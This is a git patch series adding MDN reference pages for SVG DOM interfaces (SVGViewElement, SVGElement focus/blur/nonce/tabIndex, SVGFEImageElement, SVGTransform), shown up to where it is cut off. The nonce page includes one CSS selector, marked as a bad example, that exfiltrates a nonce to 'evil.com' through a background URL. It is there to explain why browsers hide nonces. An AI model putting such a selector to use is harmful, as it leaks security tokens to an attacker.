From b9fa5e524fb55a33f5b859aa49be8f834d99abaf Mon Sep 17 00:00:00 2001 From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com> Date: Tue, 31 Dec 2024 13:06:18 +0530 Subject: [PATCH 1/8] New Pages: SVGViewElement properties (#37363) --- files/en-us/web/api/svgviewelement/index.md | 5 ++ .../preserveaspectratio/index.md | 46 +++++++++++++++++++ .../web/api/svgviewelement/viewbox/index.md | 46 +++++++++++++++++++ 3 files changed, 97 insertions(+) create mode 100644 files/en-us/web/api/svgviewelement/preserveaspectratio/index.md create mode 100644 files/en-us/web/api/svgviewelement/viewbox/index.md diff --git a/files/en-us/web/api/svgviewelement/index.md b/files/en-us/web/api/svgviewelement/index.md index 622e5d1cb380d38..2f66635d25b0a73 100644 --- a/files/en-us/web/api/svgviewelement/index.md +++ b/files/en-us/web/api/svgviewelement/index.md @@ -15,6 +15,11 @@ The **`SVGViewElement`** interface provides access to the properties of {{SVGEle _This interface also inherits properties from its parent interface, {{domxref("SVGElement")}}._ +- {{domxref("SVGViewElement.viewBox")}} {{ReadOnlyInline}} + - : An {{domxref("SVGAnimatedRect")}} corresponding to the {{SVGAttr("viewBox")}} attribute of the given {{SVGElement("view")}} element. +- {{domxref("SVGViewElement.preserveAspectRatio")}} {{ReadOnlyInline}} + - : An {{domxref("SVGAnimatedPreserveAspectRatio")}} corresponding to the {{SVGAttr("preserveAspectRatio")}} attribute of the given {{SVGElement("view")}} element. + ## Instance methods _This interface doesn't implement any specific methods, but inherits methods from its parent interface, {{domxref("SVGElement")}}._ diff --git a/files/en-us/web/api/svgviewelement/preserveaspectratio/index.md b/files/en-us/web/api/svgviewelement/preserveaspectratio/index.md new file mode 100644 index 000000000000000..9fb327a3aef67b4 --- /dev/null +++ b/files/en-us/web/api/svgviewelement/preserveaspectratio/index.md @@ -0,0 +1,46 @@ +--- +title: "SVGViewElement: preserveAspectRatio property" +short-title: preserveAspectRatio +slug: Web/API/SVGViewElement/preserveAspectRatio +page-type: web-api-instance-property +browser-compat: api.SVGViewElement.preserveAspectRatio +--- + +{{APIRef("SVG")}} + +The **`preserveAspectRatio`** read-only property of the {{domxref("SVGViewElement")}} interface reflects the {{SVGAttr("preserveAspectRatio")}} attribute of the given {{SVGElement("view")}} element. It defines how the content within the `view` should be scaled to fit its viewport while preserving its aspect ratio. + +## Value + +An {{domxref("SVGAnimatedPreserveAspectRatio")}} object. + +## Example + +Given the following SVG, we can use the `preserveAspectRatio` property to retrieve the scaling behavior for a `view` element: + +```html + + + + +``` + +We can access the `preserveAspectRatio` attribute: + +```js +const view = document.querySelector("view"); + +console.log(view.preserveAspectRatio.baseVal); // output: SVGPreserveAspectRatio {align: 1, meetOrSlice: 1} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{SVGAttr("preserveAspectRatio")}} diff --git a/files/en-us/web/api/svgviewelement/viewbox/index.md b/files/en-us/web/api/svgviewelement/viewbox/index.md new file mode 100644 index 000000000000000..7f47573f0457482 --- /dev/null +++ b/files/en-us/web/api/svgviewelement/viewbox/index.md @@ -0,0 +1,46 @@ +--- +title: "SVGViewElement: viewBox property" +short-title: viewBox +slug: Web/API/SVGViewElement/viewBox +page-type: web-api-instance-property +browser-compat: api.SVGViewElement.viewBox +--- + +{{APIRef("SVG")}} + +The **`viewBox`** read-only property of the {{domxref("SVGViewElement")}} interface reflects the {{SVGAttr("viewBox")}} attribute of the given {{SVGElement("view")}} element. It represents the `x`, `y`, `width`, and `height` values defining the area to be used for the `view`'s `viewBox`. + +## Value + +An {{domxref("SVGAnimatedRect")}} object. + +## Example + +Given the following SVG, we can use the `viewBox` property to retrieve the dimensions of the `viewBox` for a `view` element: + +```html + + + + +``` + +We can access the `viewBox` attribute: + +```js +const view = document.querySelector("view"); + +console.log(view.viewBox.baseVal); // output: DOMRect {x: 0, y: 0, width: 50, height: 50} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{SVGAttr("viewBox")}} From 3b135a0ae3b80cb24f6495fa8956c6631f5ce1ba Mon Sep 17 00:00:00 2001 From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com> Date: Tue, 31 Dec 2024 13:07:20 +0530 Subject: [PATCH 2/8] Focus and Blur Pages for SVGElement (#37365) --- files/en-us/web/api/svgelement/blur/index.md | 70 ++++++++++++++++ files/en-us/web/api/svgelement/focus/index.md | 79 +++++++++++++++++++ files/en-us/web/api/svgelement/index.md | 4 + 3 files changed, 153 insertions(+) create mode 100644 files/en-us/web/api/svgelement/blur/index.md create mode 100644 files/en-us/web/api/svgelement/focus/index.md diff --git a/files/en-us/web/api/svgelement/blur/index.md b/files/en-us/web/api/svgelement/blur/index.md new file mode 100644 index 000000000000000..1b44132a11cf3c1 --- /dev/null +++ b/files/en-us/web/api/svgelement/blur/index.md @@ -0,0 +1,70 @@ +--- +title: "SVGElement: blur() method" +short-title: blur() +slug: Web/API/SVGElement/blur +page-type: web-api-instance-method +browser-compat: api.SVGElement.blur +--- + +{{APIRef("SVG")}} + +The **`SVGElement.blur()`** method removes keyboard focus from the current SVG element. + +## Syntax + +```js-nolint +blur() +``` + +### Parameters + +None. + +### Return value + +None ({{jsxref("undefined")}}). + +## Examples + +### Remove focus from an SVG circle element + +#### HTML + +```html + + + + + +``` + +#### JavaScript + +```js +const circle = document.getElementById("myCircle"); +const focusButton = document.getElementById("focusButton"); +const blurButton = document.getElementById("blurButton"); + +// Focus the circle when the "Focus" button is clicked +focusButton.addEventListener("click", () => { + circle.focus(); +}); + +// Blur the circle when the "Blur" button is clicked +blurButton.addEventListener("click", () => { + circle.blur(); +}); +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGElement.focus")}} makes the element the current keyboard focus. +- {{domxref("HTMLElement.blur")}} a similar method for HTML elements. diff --git a/files/en-us/web/api/svgelement/focus/index.md b/files/en-us/web/api/svgelement/focus/index.md new file mode 100644 index 000000000000000..ff818f8eb9aa7a5 --- /dev/null +++ b/files/en-us/web/api/svgelement/focus/index.md @@ -0,0 +1,79 @@ +--- +title: "SVGElement: focus() method" +short-title: focus() +slug: Web/API/SVGElement/focus +page-type: web-api-instance-method +browser-compat: api.SVGElement.focus +--- + +{{APIRef("SVG")}} + +The **`SVGElement.focus()`** method sets focus on the specified SVG element, if it can be focused. +The focused element is the element that will receive keyboard and similar events by default. + +By default the browser will scroll the element into view after focusing it, and it may also provide visible indication of the focused element (typically by displaying a "focus ring" around the element). +Parameter options are provided to disable the default scrolling and force visible indication on elements. + +## Syntax + +```js-nolint +focus() +focus(options) +``` + +### Parameters + +- `options` {{optional_inline}} + + - : An optional object for controlling aspects of the focusing process. + This object may contain the following properties: + + - `preventScroll` {{optional_inline}} + - : A boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. + A value of `false` for `preventScroll` (the default) means that the browser will scroll the element into view after focusing it. + If `preventScroll` is set to `true`, no scrolling will occur. + +### Return value + +None ({{jsxref("undefined")}}). + +## Examples + +### Focusing an SVG element + +This example uses a button to set the focus on an SVG circle element. + +#### HTML + +```html + + + + +``` + +#### JavaScript + +```js +document.getElementById("focusButton").addEventListener("click", () => { + const circle = document.getElementById("myCircle"); + circle.focus(); +}); +``` + +## Specifications + +{{Specifications}} + +## Notes + +- If you call `SVGElement.focus()` from a mousedown event handler, you must call `event.preventDefault()` to keep the focus from leaving the `SVGElement` + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGElement.blur")}} to remove the focus from an element. +- {{domxref("HTMLElement.focus")}} a similar method for HTML elements. diff --git a/files/en-us/web/api/svgelement/index.md b/files/en-us/web/api/svgelement/index.md index 1aafa542875d266..245371a9d80c80c 100644 --- a/files/en-us/web/api/svgelement/index.md +++ b/files/en-us/web/api/svgelement/index.md @@ -21,6 +21,10 @@ _Also inherits properties from the {{DOMxRef("Element")}} interface._ - : A {{DOMxRef("DOMStringMap")}} object which provides a list of key/value pairs of named data attributes which correspond to [custom data attributes](/en-US/docs/Learn_web_development/Howto/Solve_HTML_problems/Use_data_attributes) attached to the element. These can also be defined in SVG using attributes of the form {{SVGAttr("data-*")}}, where `*` is the key name for the pair. This works just like HTML's {{DOMxRef("HTMLElement.dataset")}} property and HTML's [`data-*`](/en-US/docs/Web/HTML/Global_attributes/data-*) global attribute. - {{DOMxRef("SVGElement.className")}} {{Deprecated_Inline}} {{ReadOnlyInline}} - : An {{DOMxRef("SVGAnimatedString")}} that reflects the value of the {{SVGAttr("class")}} attribute on the given element, or the empty string if `class` is not present. This attribute is deprecated and may be removed in a future version of this specification. Authors are advised to use {{DOMxRef("Element.classList")}} instead. +- {{DOMxRef("SVGElement.blur")}} + - : Removes keyboard focus from the currently focused element. +- {{DOMxRef("SVGElement.focus")}} + - : Makes the element the current keyboard focus. - {{DOMxRef("SVGElement.nonce")}} - : Returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed. - {{DOMxRef("SVGElement.ownerSVGElement")}} {{ReadOnlyInline}} From 5498d8aab210c639ba0415071ca6fd77305762b0 Mon Sep 17 00:00:00 2001 From: Estelle Weyl Date: Mon, 30 Dec 2024 23:38:52 -0800 Subject: [PATCH 3/8] New pages: SVGFEImageElement (#37319) --- .../web/api/svgfeimageelement/height/index.md | 41 +++++++++++++++++ .../web/api/svgfeimageelement/result/index.md | 44 +++++++++++++++++++ .../web/api/svgfeimageelement/width/index.md | 41 +++++++++++++++++ .../web/api/svgfeimageelement/x/index.md | 41 +++++++++++++++++ .../web/api/svgfeimageelement/y/index.md | 41 +++++++++++++++++ 5 files changed, 208 insertions(+) create mode 100644 files/en-us/web/api/svgfeimageelement/height/index.md create mode 100644 files/en-us/web/api/svgfeimageelement/result/index.md create mode 100644 files/en-us/web/api/svgfeimageelement/width/index.md create mode 100644 files/en-us/web/api/svgfeimageelement/x/index.md create mode 100644 files/en-us/web/api/svgfeimageelement/y/index.md diff --git a/files/en-us/web/api/svgfeimageelement/height/index.md b/files/en-us/web/api/svgfeimageelement/height/index.md new file mode 100644 index 000000000000000..2c47ea0376016dd --- /dev/null +++ b/files/en-us/web/api/svgfeimageelement/height/index.md @@ -0,0 +1,41 @@ +--- +title: "SVGFEImageElement: height property" +short-title: height +slug: Web/API/SVGFEImageElement/height +page-type: web-api-instance-property +browser-compat: api.SVGFEImageElement.height +--- + +{{APIRef("SVG")}} + +The **`height`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the vertical size of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}. + +It reflects the {{SVGAttr("height")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or a [``](/en-US/docs/Web/SVG/Content_type#percentage) relative to the height of the filter region. The default value is `100%`. The property value is a length in user coordinate system units. + +## Value + +An {{domxref("SVGAnimatedLength")}}. + +## Example + +```js +const feImage = document.querySelector("feImage"); +const verticalSize = feImage.height; +console.log(verticalSize.baseVal.value); // the `height` value +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGFEImageElement.width")}} +- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects) +- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes) +- CSS {{cssxref("blend-mode")}} data type +- CSS {{cssxref("mix-blend-mode")}} property diff --git a/files/en-us/web/api/svgfeimageelement/result/index.md b/files/en-us/web/api/svgfeimageelement/result/index.md new file mode 100644 index 000000000000000..a9ad51092eae563 --- /dev/null +++ b/files/en-us/web/api/svgfeimageelement/result/index.md @@ -0,0 +1,44 @@ +--- +title: "SVGFEImageElement: result property" +short-title: result +slug: Web/API/SVGFEImageElement/result +page-type: web-api-instance-property +browser-compat: api.SVGFEImageElement.result +--- + +{{APIRef("SVG")}} + +The **`result`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the assigned name of an SVG filter primitive as a {{domxref("SVGAnimatedString")}}. + +It reflects the {{SVGAttr("result")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute value is a {{cssxref("custom-ident")}}. If supplied, then graphics that result from processing this filter primitive can be referenced by an {{SVGAttr("in")}} attribute on a subsequent filter primitive within the same {{SVGElement("filter")}} element. + +If no `result` attribute is defined, the filter's `result.baseVal` and `result.animVal` are empty strings, and the output of the `` filter will only be available for re-use as the implicit input into the next filter primitive if that filter primitive provides no value for its `in` attribute. + +## Value + +An {{domxref("SVGAnimatedString")}}. + +## Example + +```js +const feImageElement = document.querySelector("feImage"); +const filterName = feImageElement.result; +console.log(filterName.baseVa); // the filter's assigned name +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGFEImageElement.in1")}} +- {{cssxref("custom-ident")}} data type +- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects) +- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes) +- CSS {{cssxref("blend-mode")}} data type +- CSS {{cssxref("mix-blend-mode")}} property diff --git a/files/en-us/web/api/svgfeimageelement/width/index.md b/files/en-us/web/api/svgfeimageelement/width/index.md new file mode 100644 index 000000000000000..f667080121025a5 --- /dev/null +++ b/files/en-us/web/api/svgfeimageelement/width/index.md @@ -0,0 +1,41 @@ +--- +title: "SVGFEImageElement: width property" +short-title: width +slug: Web/API/SVGFEImageElement/width +page-type: web-api-instance-property +browser-compat: api.SVGFEImageElement.width +--- + +{{APIRef("SVG")}} + +The **`width`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the horizontal size of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}. + +It reflects the {{SVGAttr("width")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or a [``](/en-US/docs/Web/SVG/Content_type#percentage) relative to the width of the filter region. The default value is `100%`. The property value is a length in user coordinate system units. + +## Value + +An {{domxref("SVGAnimatedLength")}}. + +## Example + +```js +const feImage = document.querySelector("feImage"); +const horizontalSize = feImage.width; +console.log(horizontalSize.baseVal.value); // the `width` value +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGFEImageElement.height")}} +- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects) +- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes) +- CSS {{cssxref("blend-mode")}} data type +- CSS {{cssxref("mix-blend-mode")}} property diff --git a/files/en-us/web/api/svgfeimageelement/x/index.md b/files/en-us/web/api/svgfeimageelement/x/index.md new file mode 100644 index 000000000000000..321363c515ddacc --- /dev/null +++ b/files/en-us/web/api/svgfeimageelement/x/index.md @@ -0,0 +1,41 @@ +--- +title: "SVGFEImageElement: x property" +short-title: x +slug: Web/API/SVGFEImageElement/x +page-type: web-api-instance-property +browser-compat: api.SVGFEImageElement.x +--- + +{{APIRef("SVG")}} + +The **`x`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the horizontal coordinate of the position of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}. + +It reflects the {{SVGAttr("x")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or [``](/en-US/docs/Web/SVG/Content_type#percentage). The `` is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the x-axis. If the `x` attribute is a percent value, the property value is relative to the width of the filter region in user coordinate system units. The default value is `0`. + +## Value + +An {{domxref("SVGAnimatedLength")}}. + +## Example + +```js +const feImage = document.querySelector("feImage"); +const leftPosition = feImage.x; +console.log(leftPosition.baseVal.value); // the `x` value +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGFEImageElement.y")}} +- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects) +- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes) +- CSS {{cssxref("blend-mode")}} data type +- CSS {{cssxref("mix-blend-mode")}} property diff --git a/files/en-us/web/api/svgfeimageelement/y/index.md b/files/en-us/web/api/svgfeimageelement/y/index.md new file mode 100644 index 000000000000000..48f7d9c48bc90f8 --- /dev/null +++ b/files/en-us/web/api/svgfeimageelement/y/index.md @@ -0,0 +1,41 @@ +--- +title: "SVGFEImageElement: y property" +short-title: "y" +slug: Web/API/SVGFEImageElement/y +page-type: web-api-instance-property +browser-compat: api.SVGFEImageElement.y +--- + +{{APIRef("SVG")}} + +The **`y`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the vertical coordinate of the position of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}. + +It reflects the {{SVGAttr("y")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or [``](/en-US/docs/Web/SVG/Content_type#percentage). The `` is a length in the user coordinate system that is the given distance from the origin of the filter along the y-axis. If the `y` attribute is a percent value, the property value is a relative to the height of the filter region in user coordinate system units. The default value is `0`. + +## Value + +An {{domxref("SVGAnimatedLength")}}. + +## Example + +```js +const feImage = document.querySelector("feImage"); +const topPosition = feImage.y; +console.log(topPosition.baseVal.value); // the `y` value +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGFEImageElement.x")}} +- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects) +- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes) +- CSS {{cssxref("blend-mode")}} data type +- CSS {{cssxref("mix-blend-mode")}} property From 97dc5e941cca2f67ece5ff91d0c96674f210fef9 Mon Sep 17 00:00:00 2001 From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com> Date: Tue, 31 Dec 2024 13:15:39 +0530 Subject: [PATCH 4/8] New Pages: SVGElement (#37369) --- files/en-us/web/api/svgelement/nonce/index.md | 54 ++++++++++++++ .../api/svgelement/ownersvgelement/index.md | 46 ++++++++++++ .../web/api/svgelement/tabindex/index.md | 70 +++++++++++++++++++ .../api/svgelement/viewportelement/index.md | 49 +++++++++++++ 4 files changed, 219 insertions(+) create mode 100644 files/en-us/web/api/svgelement/nonce/index.md create mode 100644 files/en-us/web/api/svgelement/ownersvgelement/index.md create mode 100644 files/en-us/web/api/svgelement/tabindex/index.md create mode 100644 files/en-us/web/api/svgelement/viewportelement/index.md diff --git a/files/en-us/web/api/svgelement/nonce/index.md b/files/en-us/web/api/svgelement/nonce/index.md new file mode 100644 index 000000000000000..40f7764caef4411 --- /dev/null +++ b/files/en-us/web/api/svgelement/nonce/index.md @@ -0,0 +1,54 @@ +--- +title: "SVGElement: nonce property" +short-title: nonce +slug: Web/API/SVGElement/nonce +page-type: web-api-instance-property +browser-compat: api.SVGElement.nonce +--- + +{{APIRef("SVG")}} + +The **`nonce`** property of the {{DOMxRef("SVGElement")}} interface returns the nonce that is used by [Content Security Policy](/en-US/docs/Web/HTTP/CSP) to determine whether a given fetch will be allowed to proceed. + +## Value + +A String; the cryptographic nonce, or an empty string if no nonce is set. + +## Examples + +### Retrieving a nonce value + +In the past, not all browsers supported the `nonce` IDL attribute, so a workaround is to try to use [`getAttribute`](/en-US/docs/Web/API/Element/getAttribute) as a fallback: + +```js +const svg = document.querySelector("svg"); +const nonce = svg.nonce || svg.getAttribute("nonce"); + +// Modern browsers hide the nonce attribute from getAttribute() +console.log(nonce); // Prefer using `svg.nonce` +``` + +However, recent browsers version hide `nonce` values that are accessed this way (an empty string will be returned). The IDL property (`svg['nonce']`) will be the only way to access nonces. + +Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector: + +```css example-bad +svg[nonce~="whatever"] { + background: url("https://evil.com/nonce?whatever"); +} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("HTMLElement.nonce")}} a similar method for HTML elements. +- [`nonce` global attribute](/en-US/docs/Web/HTML/Global_attributes/nonce) +- [Content Security Policy](/en-US/docs/Web/HTTP/CSP) +- CSP: {{CSP("script-src")}} diff --git a/files/en-us/web/api/svgelement/ownersvgelement/index.md b/files/en-us/web/api/svgelement/ownersvgelement/index.md new file mode 100644 index 000000000000000..60ccb22953916ae --- /dev/null +++ b/files/en-us/web/api/svgelement/ownersvgelement/index.md @@ -0,0 +1,46 @@ +--- +title: "SVGElement: ownerSVGElement property" +short-title: ownerSVGElement +slug: Web/API/SVGElement/ownerSVGElement +page-type: web-api-instance-property +browser-compat: api.SVGElement.ownerSVGElement +--- + +{{APIRef("SVG")}} + +The **`ownerSVGElement`** property of the {{DOMxRef("SVGElement")}} interface reflects the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `` element. + +## Value + +An {{DOMxRef("SVGSVGElement")}}. + +## Examples + +### Checking the owner `` element + +```html + + + + + +``` + +```js +const circle = document.getElementById("circle1"); +const ownerSVG = circle.ownerSVGElement; + +if (ownerSVG) { + console.log(`The circle's owner has the ID: ${ownerSVG.id}`); +} else { + console.log("This element is the outermost ."); +} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} diff --git a/files/en-us/web/api/svgelement/tabindex/index.md b/files/en-us/web/api/svgelement/tabindex/index.md new file mode 100644 index 000000000000000..302e734bdad8539 --- /dev/null +++ b/files/en-us/web/api/svgelement/tabindex/index.md @@ -0,0 +1,70 @@ +--- +title: "SVGElement: tabIndex property" +short-title: tabIndex +slug: Web/API/SVGElement/tabIndex +page-type: web-api-instance-property +browser-compat: api.SVGElement.tabIndex +--- + +{{APIRef("SVG")}} + +The **`tabIndex`** property of the {{DOMxRef("SVGElement")}} interface represents the tab order of the current SVG element. + +Tab order is as follows: + +1. Elements with a positive `tabIndex`. Elements that have identical + `tabIndex` values should be navigated in the order they appear. Navigation + proceeds from the lowest `tabIndex` to the highest `tabIndex`. +2. Elements that do not support the `tabIndex` attribute or support it and + assign `tabIndex` to `0`, in the order they appear. + +Elements that are disabled do not participate in the tabbing order. + +Values don't need to be sequential, nor must they begin with any particular value. They +may even be negative, though each browser trims very large values. + +## Value + +An integer. + +## Examples + +### Setting the `tabIndex` property + +```html + + + + + + +``` + +```js +const svg1 = document.getElementById("svg1"); +const svg2 = document.getElementById("svg2"); + +// Access and modify the tabIndex +console.log(svg1.tabIndex); // 2 +svg2.tabIndex = 1; // Add svg2 to the tab order before svg1 + +// Programmatically focus on an element with negative tabIndex +svg1.tabIndex = -1; +svg1.focus(); // Works, even though it is not in the tabbing order +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("HTMLElement.tabIndex")}} a similar method for HTML elements. +- [Accessibility of keyboard-navigable JavaScript widgets](/en-US/docs/Web/Accessibility/Keyboard-navigable_JavaScript_widgets) +- The HTML + [`tabindex`](/en-US/docs/Web/HTML/Global_attributes/tabindex) + global attribute. diff --git a/files/en-us/web/api/svgelement/viewportelement/index.md b/files/en-us/web/api/svgelement/viewportelement/index.md new file mode 100644 index 000000000000000..67c40ebe3cf819c --- /dev/null +++ b/files/en-us/web/api/svgelement/viewportelement/index.md @@ -0,0 +1,49 @@ +--- +title: "SVGElement: viewportElement property" +short-title: viewportElement +slug: Web/API/SVGElement/viewportElement +page-type: web-api-instance-property +browser-compat: api.SVGElement.viewportElement +--- + +{{APIRef("SVG")}} + +The **`viewportElement`** property of the {{DOMxRef("SVGElement")}} interface represents the `SVGElement` which established the current viewport. Often the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `` element. + +## Value + +An {{DOMxRef("SVGElement")}}. + +## Examples + +### Retrieving the `viewportElement` + +```html + + + + + +``` + +```js +const circle = document.getElementById("circle"); +const innerSvg = document.getElementById("innerSvg"); +const outerSvg = document.getElementById("outerSvg"); + +console.log(circle.viewportElement); // Output: ... +console.log(innerSvg.viewportElement); // Output: ... +console.log(outerSvg.viewportElement); // Output: null +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGElement.ownerSVGElement")}}: Retrieves the nearest ancestor `` element for the current SVG element. From 735185aeff568a6de5ecbb585d733c1c67191c48 Mon Sep 17 00:00:00 2001 From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com> Date: Tue, 31 Dec 2024 13:15:58 +0530 Subject: [PATCH 5/8] New Pages: SVGTransform (#37376) --- .../en-us/web/api/svgtransform/angle/index.md | 50 ++++++++++ files/en-us/web/api/svgtransform/index.md | 18 ++-- .../web/api/svgtransform/matrix/index.md | 91 +++++++++++++++++++ .../web/api/svgtransform/setmatrix/index.md | 67 ++++++++++++++ .../web/api/svgtransform/setrotate/index.md | 63 +++++++++++++ .../web/api/svgtransform/setscale/index.md | 58 ++++++++++++ .../web/api/svgtransform/setskewx/index.md | 59 ++++++++++++ .../web/api/svgtransform/setskewy/index.md | 59 ++++++++++++ .../api/svgtransform/settranslate/index.md | 58 ++++++++++++ .../en-us/web/api/svgtransform/type/index.md | 46 ++++++++++ 10 files changed, 560 insertions(+), 9 deletions(-) create mode 100644 files/en-us/web/api/svgtransform/angle/index.md create mode 100644 files/en-us/web/api/svgtransform/matrix/index.md create mode 100644 files/en-us/web/api/svgtransform/setmatrix/index.md create mode 100644 files/en-us/web/api/svgtransform/setrotate/index.md create mode 100644 files/en-us/web/api/svgtransform/setscale/index.md create mode 100644 files/en-us/web/api/svgtransform/setskewx/index.md create mode 100644 files/en-us/web/api/svgtransform/setskewy/index.md create mode 100644 files/en-us/web/api/svgtransform/settranslate/index.md create mode 100644 files/en-us/web/api/svgtransform/type/index.md diff --git a/files/en-us/web/api/svgtransform/angle/index.md b/files/en-us/web/api/svgtransform/angle/index.md new file mode 100644 index 000000000000000..ee729f1b5a82323 --- /dev/null +++ b/files/en-us/web/api/svgtransform/angle/index.md @@ -0,0 +1,50 @@ +--- +title: "SVGTransform: angle property" +short-title: angle +slug: Web/API/SVGTransform/angle +page-type: web-api-instance-property +browser-compat: api.SVGTransform.angle +--- + +{{APIRef("SVG")}} + +The **`angle`** read-only property of the {{domxref("SVGTransform")}} interface represents the angle of the transformation in degrees. + +For `SVG_TRANSFORM_ROTATE`, `SVG_TRANSFORM_SKEWX`, and `SVG_TRANSFORM_SKEWY`, `angle` reflects the transformation's rotation or skewing angle. + +For `SVG_TRANSFORM_MATRIX`, `SVG_TRANSFORM_TRANSLATE` and `SVG_TRANSFORM_SCALE`, `angle` will be zero. + +## Value + +An `integer`; the angle value in degrees as a float. + +## Examples + +### Accessing the `angle` property + +```html + + + +``` + +```js +const rect = document.getElementById("rect"); +const transformList = rect.transform.baseVal; + +// Create and add a rotation transform +const rotateTransform = rect.ownerSVGElement.createSVGTransform(); +rotateTransform.setRotate(45, 100, 100); // Rotate 45 degrees +transformList.appendItem(rotateTransform); + +// Access the angle property +console.log(transformList.getItem(0).angle); // Output: 45 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} diff --git a/files/en-us/web/api/svgtransform/index.md b/files/en-us/web/api/svgtransform/index.md index ca72d9081fd9ec2..e002dee8c8b06ba 100644 --- a/files/en-us/web/api/svgtransform/index.md +++ b/files/en-us/web/api/svgtransform/index.md @@ -143,7 +143,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp
-
type + {{domxref("SVGTransform.type", "type")}} unsigned short The type of the value as specified by one of the SVG_TRANSFORM_* @@ -151,7 +151,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp - angle + {{domxref("SVGTransform.angle", "angle")}} float A convenience attribute for SVG_TRANSFORM_ROTATE, @@ -163,7 +163,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp - matrix + {{domxref("SVGTransform.matrix", "matrix")}} {{ domxref("DOMMatrix") }}

@@ -220,7 +220,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp setMatrix(in {{ domxref("DOMMatrix") }} + >{{domxref("SVGTransform.setMatrix", "setMatrix")}}(in {{ domxref("DOMMatrix") }} matrix) @@ -245,7 +245,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp setTranslate(in float tx, in float + >{{domxref("SVGTransform.setTranslate", "setTranslate")}}(in float tx, in float ty) @@ -270,7 +270,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp setScale(in float sx, in float + >{{domxref("SVGTransform.setScale", "setScale")}}(in float sx, in float sy) @@ -295,7 +295,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp setRotate(in float angle, in float + >{{domxref("SVGTransform.setRotate", "setRotate")}}(in float angle, in float cx, in float cy) @@ -320,7 +320,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp - setSkewX(in float angle) + {{domxref("SVGTransform.setSkewX", "setSkewX")}}(in float angle) void @@ -341,7 +341,7 @@ An `SVGTransform` object can be designated as read only, which means that attemp - setSkewY(in float angle) + {{domxref("SVGTransform.setSkewY", "setSkewY")}}(in float angle) void diff --git a/files/en-us/web/api/svgtransform/matrix/index.md b/files/en-us/web/api/svgtransform/matrix/index.md new file mode 100644 index 000000000000000..5b0171d51f54245 --- /dev/null +++ b/files/en-us/web/api/svgtransform/matrix/index.md @@ -0,0 +1,91 @@ +--- +title: "SVGTransform: matrix property" +short-title: matrix +slug: Web/API/SVGTransform/matrix +page-type: web-api-instance-property +browser-compat: api.SVGTransform.matrix +--- + +{{APIRef("SVG")}} + +The **`matrix`** read-only property of the 